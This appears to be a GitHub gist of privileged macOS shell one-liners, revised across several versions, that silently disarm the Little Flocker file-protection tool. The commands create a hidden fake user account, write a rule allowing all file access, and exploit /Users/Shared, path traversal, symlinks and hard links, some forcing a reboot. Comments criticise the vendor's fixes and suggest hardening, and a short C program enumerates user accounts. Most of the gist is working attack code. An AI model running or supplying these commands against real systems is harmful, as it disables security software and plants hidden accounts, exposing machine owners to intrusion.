Skip to content

Instantly share code, notes, and snippets.

@pwnsdx

pwnsdx/ff.sh

Last active May 31, 2018
Embed
What would you like to do?
Disarm Little Flocker silently (<=0.1.1)
# Disarm Little Flocker silently (privileged)
FAKEUSER=pwned$(grep -m1 -ao '[0-9][0-9]' /dev/urandom | sed s/10/99/ | head -n1); echo "Creating fake user account..." && dscl . -create /Users/$FAKEUSER IsHidden 1 && dscl . -create /Users/$FAKEUSER UserShell /bin/bash && dscl . -create /Users/$FAKEUSER RealName "${FAKEUSER}" && dscl . -create /Users/$FAKEUSER UniqueID "1202" && dscl . -create /Users/$FAKEUSER PrimaryGroupID 80 && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /var/empty/.littleflockerrc && sync && echo "Please wait (up to 1 minute)..." && sleep 61 && dscl . -delete /Users/$FAKEUSER && rm -rf /var/empty/.littleflockerrc && echo "Little Flocker is now disarmed" && cd /Users
# UPDATE (0.0.77)
# Still works, broken fix:
# https://github.com/jzdziarski/littleflocker/commit/bcce9cf279eb27b04cf644ecc49fee767f1e0579
# 1. via /Users/Shared
echo "Creating fake user account..." && dscl . -create /Users/Shared IsHidden 1 && dscl . -create /Users/Shared UserShell /bin/bash && dscl . -create /Users/Shared RealName "LF" && dscl . -create /Users/Shared UniqueID "1202" && dscl . -create /Users/Shared PrimaryGroupID 80 && dscl . -create /Users/Shared NFSHomeDirectory /Users/Shared/ && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /Users/Shared/.littleflockerrc && sync && echo "Please wait (up to 1 minute)..." && sleep 61 && dscl . -delete /Users/Shared && rm -rf /Users/Shared/.littleflockerrc && echo "Little Flocker is now disarmed" && cd /Users
# 2. via Backtracking / Directory traversal
echo "Creating fake user account..." && dscl . -create /Users/Shared IsHidden 1 && dscl . -create /Users/Shared UserShell /bin/bash && dscl . -create /Users/Shared RealName "LF" && dscl . -create /Users/Shared UniqueID "1202" && dscl . -create /Users/Shared PrimaryGroupID 80 && dscl . -create /Users/Shared NFSHomeDirectory /Users/../var/empty/ && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /var/empty/.littleflockerrc && sync && echo "Please wait (up to 1 minute)..." && sleep 61 && dscl . -delete /Users/Shared && rm -rf /var/empty/.littleflockerrc && echo "Little Flocker is now disarmed" && cd /Users
# 3. via random folder in /Users/
FAKEUSER=pwned$(grep -m1 -ao '[0-9][0-9]' /dev/urandom | sed s/10/99/ | head -n1); mkdir -p /Users/$FAKEUSER && echo "Creating fake user account..." && dscl . -create /Users/$FAKEUSER IsHidden 1 && dscl . -create /Users/$FAKEUSER UserShell /bin/bash && dscl . -create /Users/$FAKEUSER RealName "LF" && dscl . -create /Users/$FAKEUSER UniqueID "1202" && dscl . -create /Users/$FAKEUSER PrimaryGroupID 80 && dscl . -create /Users/$FAKEUSER NFSHomeDirectory /Users/$FAKEUSER/ && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /Users/$FAKEUSER/.littleflockerrc && sync && echo "Please wait (up to 1 minute)..." && sleep 61 && dscl . -delete /Users/$FAKEUSER && rm -rf /Users/$FAKEUSER/.littleflockerrc && echo "Little Flocker is now disarmed" && cd /Users
# UPDATE (0.0.78)
# You tried to fix the issue again but it still works, it just now require
# a reboot and the fix completely broke sessions switching by the way
# https://github.com/jzdziarski/littleflocker/commit/7b1a670b3894c4c9b918518adad0b00bcdbf9088
# https://github.com/jzdziarski/littleflocker/commit/6126979b99df5a0fe9fbe7f53d05fa07c30f2e94
# https://github.com/jzdziarski/littleflocker/commit/387680365aaadb8ad2d5b8ce29485efb240675e3
# 1. via /Users/Shared
echo "Creating fake user account..." && dscl . -create /Users/Shared IsHidden 1 && dscl . -create /Users/Shared UserShell /bin/bash && dscl . -create /Users/Shared RealName "LF" && dscl . -create /Users/Shared UniqueID "1202" && dscl . -create /Users/Shared PrimaryGroupID 80 && dscl . -create /Users/Shared NFSHomeDirectory /Users/Shared/ && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /Users/Shared/.littleflockerrc && sync && echo "Little Flocker will be disarmed after reboot" && sleep 5 && reboot
# Saying that your tool is not designed to protect against root and "nothing can" while SIP do this well and your tool
# is supposed to protect from rootkits is kind of nonsense
# Remember that for 99% of the users, the root password is the user's password, this is why SIP has been made by the
# way: "In OS X, the “root” user account previously had no permission restrictions and could access any system folder
# or application on your Mac. Software gained root-level access when you entered your administrator name and password
# to install it and could then modify or overwrite any system file or application"
# But of course, when you want to protect unprivileged users from privileged ones this is becoming a hard thing to do
# SIP does not have this headache as it prevent anyone to do stuff at the exception of a few processes with special
# entitlement
# So, for the good of your tool, here is what I suggest instead of adding useless checks:
# 1) Restrict users .littleflockerrc to their own $HOME directory
# 2) Rename /Library/Application Support/LittleFlocker/.littleflockerrc to /Library/Application Support/LittleFlocker/.littleflockerrc-defaults
# 3) Every rules outside the $HOME directory is stored in /Library/Application Support/LittleFlocker/.littleflockerrc and requires classic visual confirmation via the agent (+ admin password?) when edited
# 4) Intercept creation of new users / groups and ask the user if he really want to create this new user (can be useful as many malwares create other user accounts or for softwares like Wireshark that create privileged group and puts you in)
# 5) Create a file that contains uid of allowed users that can inject their own .littleflockerrc (they could be added when the agent establish the connection to the daemon for the first time and the user either select "Power user mode" or "Simple mode")
# 6) Reduce significantly the number of allow path "any" rules
# Please understand that anyone can create a modified version of the agent that do actions / accept rules silently so (5) alone won't be enough.
# UPDATE (0.0.79)
# Wow, didn't thought it could be fixed this way:
# https://github.com/jzdziarski/littleflocker/commit/8903676976b57a5cb55e041ca2a2b496631b32d6#diff-23b358708d5844ba92eb66365e23e794R46
# Nice job!
# UPDATE (0.0.80)
# May I say LF need a fix for the fix for the fix that didn't fix the fix?
# 1. via symbolic link via /Users/Shared
echo "Creating fake user account..." && dscl . -create /Users/Shared IsHidden 1 && dscl . -create /Users/Shared UserShell /bin/bash && dscl . -create /Users/Shared RealName "LF" && dscl . -create /Users/Shared UniqueID "1202" && dscl . -create /Users/Shared PrimaryGroupID 80 && dscl . -create /Users/Shared NFSHomeDirectory /Users/Shared/ && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /Users/Shared/.lol && ln -sf /Users/Shared/.lol /Users/Shared/.littleflockerrc && sync && echo "Little Flocker will be disarmed after reboot" && sleep 5 && reboot
# UPDATE (0.1.1)
# Well, I thought it wasn't working but it seems it is:
# 1. via hard link via /Users/Shared
echo "Creating fake user account..." && dscl . -create /Users/Shared IsHidden 1 && dscl . -create /Users/Shared UserShell /bin/bash && dscl . -create /Users/Shared RealName "LF" && dscl . -create /Users/Shared UniqueID "1202" && dscl . -create /Users/Shared PrimaryGroupID 80 && dscl . -create /Users/Shared NFSHomeDirectory /Users/Shared/ && echo "Injecting payload..." && echo 'allow prefix "/" "any" rwcm' > /etc/.lol && ln -f /etc/.lol "/Users/Shared/Little Flocker/shared.littleflocker.rc" && sync && echo "Little Flocker will be disarmed after reboot" && sleep 5 && reboot
// gcc tests.c -o tests
// sudo ./tests
#include <sys/types.h>
#include <pwd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <limits.h>
#include <string.h>
int main(void)
{
uid_t highest_uid = 0;
char path[PATH_MAX];
struct passwd *p;
struct stat s;
while(1) {
p = getpwent();
while(p) {
if (p->pw_uid > highest_uid && p->pw_uid >= 500 && strcmp(p->pw_shell, "/usr/bin/false")) {
highest_uid = p->pw_uid;
printf("<NEW> user = %s, uid = %d, gid = %d, name = %s, dir = %s, shell = %s\n",
p->pw_name, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
snprintf(path, sizeof(path), "%s/.littleflockerrc", p->pw_dir);
if (! stat(p->pw_dir, &s)) {
printf("<VALID> Directory %s is valid!", path);
}
}
p = getpwent();
}
endpwent();
sleep(1);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment